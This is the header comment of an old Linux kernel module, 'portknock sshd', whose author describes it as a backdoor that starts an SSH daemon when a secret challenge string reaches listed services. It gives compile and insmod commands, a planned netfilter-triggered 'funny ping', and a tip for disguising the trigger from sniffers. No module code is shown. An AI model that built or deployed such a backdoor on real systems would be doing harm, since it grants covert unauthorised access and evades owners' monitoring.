// portknock sshd
// v1.0a (Aug 2004)
// by bugghy (bugghy@rootshell.be)
// Kernel module used to get a sshd by challenging a list of specified daemons
// Tested on: 2.4.22
// Ideea from - sunx's sunxkdoor (or was it stealth@cyberspace.org the first ?) no one gives credits these days :>
// - phrack 61 issue 14
// gcc -isystem /lib/modules/`uname -r`/build/include -O2 -DMODULE -D__KERNEL__ -c portknock-sshd_lkm.c
// insmod portknock-sshd_lkm.o
// Uses:
// backdoor (admin/hacker)
// TODO:
// netfilter hook ... to be launched after a funny ping (as suggested by stealth in his article)
// Problem:
// the challenge string you send over to the daemon can be sniffed
// Solution:
// use a "legit" looking string like: "ls /secretpass" when challenging ftpd
